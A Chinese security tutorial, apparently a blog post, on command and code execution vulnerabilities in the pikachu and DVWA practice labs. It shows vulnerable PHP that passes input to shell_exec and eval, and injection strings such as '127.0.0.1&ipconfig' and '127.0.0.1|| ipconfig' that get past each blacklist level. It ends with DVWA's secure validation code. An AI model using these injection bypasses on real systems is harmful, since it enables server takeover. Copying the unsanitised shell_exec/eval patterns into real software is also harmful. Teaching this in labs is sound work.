23-命令执行漏洞(一)

环境准备:虚拟机windows2003  phpstudy2016   pikachu、dvwa靶场环境   bp

1.1命令与代码执行原理:

命令执行原理:设计者在编写代码时没有做严格的安全控制,导致攻击者通过接口或相关参数提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器 。

代码执行原理:没有对对接口输入的内容进行严格判断,造成攻击者精心构造的代码非法执行。

命令执行原理:

exec'ping'

打开pikachu靶场,查看exec "ping"源代码:

发现:参数给变量未经过滤,使用了不安全函数shell_exec

if(isset($_POST['submit']) && $_POST['ipaddress']!=null){
    $ip=$_POST['ipaddress'];
//     $check=explode('.', $ip);可以先拆分,然后校验数字以范围,第一位和第四位1-255,中间两位0-255
    if(stristr(php_uname('s'), 'windows')){
//         var_dump(php_uname('s'));
        $result.=shell_exec('ping '.$ip);//直接将变量拼接进来,没做处理
    }else {
        $result.=shell_exec('ping -c 4 '.$ip);
    }

命令执行测试方法:
&
&&
|
||

命令执行:(可以执行操作系统命令)
前提:参数给变量未经过滤
如只能填写ip地址执行ipconfig:
&: 127.0.0.1&ipconfig
--前后有错误都会被执行
&&: 127.0.0.1&&ipconfig 
--前后错误只会执行&前面
|:127.0.0.1|ipconfig、127.0.0.1| ipconfig
--前后错误只会执行|后面的,用|绕过,可加多个空格(操作系统执行不影响)
||: 127.0.0.1||ipconfig、127.0.0.1|| ipconfig
--前后错误都会执行,用||绕过,可加多个空格(操作系统执行不影响)

系统命令执行:
assert、system、exec、shell_exec、``(反单引号)、passthru、pcntl_exec、popen、proc_open(前五个常用)

代码执行:
eval(一般木马使用eval)、assert、phpinfo()、call_user_func、base64_decode、gzinflate、 gzuncompress、gzdecode、str_rot13

struts2框架命令执行漏洞:
s2-005、s2-009、s2-013、s2-016、s2-019、devmode、s2-032、s2-037、s2-045、s2-048、s2-052、s2-057

windows系统命令参数

正常命令执行:

C:\Documents and Settings\Administrator>ping 127.0.0.1&ipconfig

Pinging 127.0.0.1 with 32 bytes of data:

Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128

Ping statistics for 127.0.0.1:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 0ms, Average = 0ms

Windows IP Configuration


Ethernet adapter 本地连接:

   Connection-specific DNS Suffix  . :
   IP Address. . . . . . . . . . . . : 10.0.0.101
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.0.0.254
-------------------------------------------------------------------------

& :前后有错误都会被执行:

-----------

C:\Documents and Settings\Administrator>ping 127.0.0.1ABC&ipconfigABC
Ping request could not find host 127.0.0.1ABC. Please check the name and try aga
in.
'ipconfigABC' 不是内部或外部命令,也不是可运行的程序
或批处理文件。

&&:前后有错误只会执行&前面

C:\Documents and Settings\Administrator>ping 127.0.0.1ABC&&ipconfigABC
Ping request could not find host 127.0.0.1ABC. Please check the name and try aga
in.

|:前后有错误只会执行|后面

C:\Documents and Settings\Administrator>ping 127.0.0.1ABC|ipconfigABC
'ipconfigABC' 不是内部或外部命令,也不是可运行的程序
或批处理文件。

||:前后有错误都会被执行

C:\Documents and Settings\Administrator>ping 127.0.0.1ABC||ipconfigABC
Ping request could not find host 127.0.0.1ABC. Please check the name and try aga
in.
'ipconfigABC' 不是内部或外部命令,也不是可运行的程序
或批处理文件。

代码执行原理:
代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13

常用:eval

exec "eval"

打开pikachu靶场,exec "eval"输入:

phpinfo();

查看exec "eval"源代码:

 使用了代码执行函数:(eval)

(参数给变量未经过滤,使用不安全函数eval)

if ($SELF_PAGE = "rce_evel.php"){
    $ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}

$PIKA_ROOT_DIR =  "../../";
include_once $PIKA_ROOT_DIR . 'header.php';

$html='';
if(isset($_POST['submit']) && $_POST['txt'] != null){
    if(@!eval($_POST['txt'])){
        $html.="<p>你喜欢的字符还挺奇怪的!</p>";

 代码成功执行

1.2命令执行一般出现那些地方
只要带参数的地方都可能出现命令执行漏洞

常见的路由器、防火墙、入侵检测、自动化运维平台
1.3 如何挖命令执行漏洞
(1)执行系统命令:
assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``(反单引号)
(2)代码执行与加密: 
eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
 (3)文件包含与生成:
require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite
 (4).htaccess:
SetHandler, auto_prepend_file, auto_append_file


1.4dvwa靶场环境测试
Low级别

可执行:

127.0.0.1&ipconfig、127.0.0.1&&ipconfig、127.0.0.1||ipconfig、127.0.0.1|| ipconfig

 low级别没过滤漏洞代码:


<?php
​
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];
​
    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }
​
    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}
​
?>

 可执行方式:127.0.0.1&ipconfig、127.0.0.1&&ipconfig、127.0.0.1||ipconfig、127.0.0.1|| ipconfig

检查提交按钮: 使用 isset($_POST['Submit']) 检查用户是否已点击了名为 "Submit" 的表单提交按钮。
获取用户输入的IP: 从POST请求中获取IP地址,存储在变量 $target 中。
操作系统检测: 使用 stristr 函数检测操作系统,如果php_uname('s')(操作系统名称)中包含 "Windows NT",则认为是Windows系统;否则,视为类Unix系统(如Linux或macOS)。
执行ping命令: 根据操作系统类型,使用 shell_exec 函数执行相应的ping命令。在Windows中,不带参数直接执行ping命令;而在类Unix系统中,使用 -c 4 参数限制发送4个ICMP回显请求。
没有进行IP地址的有效性检查,也没有进行任何安全预防措施.


Medium级别
127.0.0.1&ipconfig
<?php
​
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];
​
    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );
​
    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
​
    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }
​
    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}
​
?>

 可执行方式:127.0.0.1&ipconfig、127.0.0.1&&&ipconfig
设置黑名单: 创建一个数组 $substitutions,其中包含需要替换的字符('&&' 和 ';'),它们可能被用于命令注入攻击。


High级别

可执行:

127.0.0.1|| ipconfig
<?php
​
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);
​
    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );
​
    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
​
    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }
​
    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}
​
?>


 可执行方式:127.0.0.1|| ipconfig
获取用户输入的IP: 从POST请求中获取IP地址,使用 trim 函数去除前导和尾随空格,然后存储在变量 $target 中。
设置黑名单: 创建一个数组 $substitutions,包含需要替换的字符,这些字符可能被用于构建危险的命令注入攻击。
清理用户输入: 使用 str_replace 函数,将黑名单中的字符替换为空字符串,以降低命令注入的风险。


impossible级别

ping ip无漏洞代码:


<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $target = $_REQUEST[ 'ip' ];
    $target = stripslashes( $target );

    // Split the IP into 4 octects
    $octet = explode( ".", $target );

    // Check IF each octet is an integer
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
        // If all 4 octets are int's put the IP back together.
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }

        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    else {
        // Ops. Let the user name theres a mistake
        echo '<pre>ERROR: You have entered an invalid IP.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>


无漏洞方式注解:
反CSRF令牌验证: checkToken 函数用于验证user_token与session_token是否匹配,以防止跨站请求伪造(CSRF)攻击。这两个变量分别来自POST请求和会话($_SESSION)。

获取用户输入的IP: 从POST请求中获取IP地址,然后使用 stripslashes 函数移除可能存在的反斜杠转义。

IP地址分割: 使用 explode 函数将IP地址按点分隔成四个部分(称为八位字节)。

验证八位字节: 使用 is_numeric 检查每个八位字节是否为数字,并确保数组长度为4,以确保输入是有效的IP地址。

重新组合IP地址: 如果所有八位字节都有效,将它们重新组合成一个完整的IP地址。

操作系统检测: 使用 stristr 函数检测操作系统,如果是Windows,则执行Windows版本的ping命令;否则,执行Unix/Linux版本的ping命令。

执行ping命令: 根据操作系统类型,使用 shell_exec 函数执行相应的ping命令。Windows中不带参数,而Unix/Linux中使用 -c 4 参数限制发送4个ICMP回显请求。

声明:

  • 此文章只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试留言私信,如有侵权请联系小编处理。
  • 14
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Xlbb.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值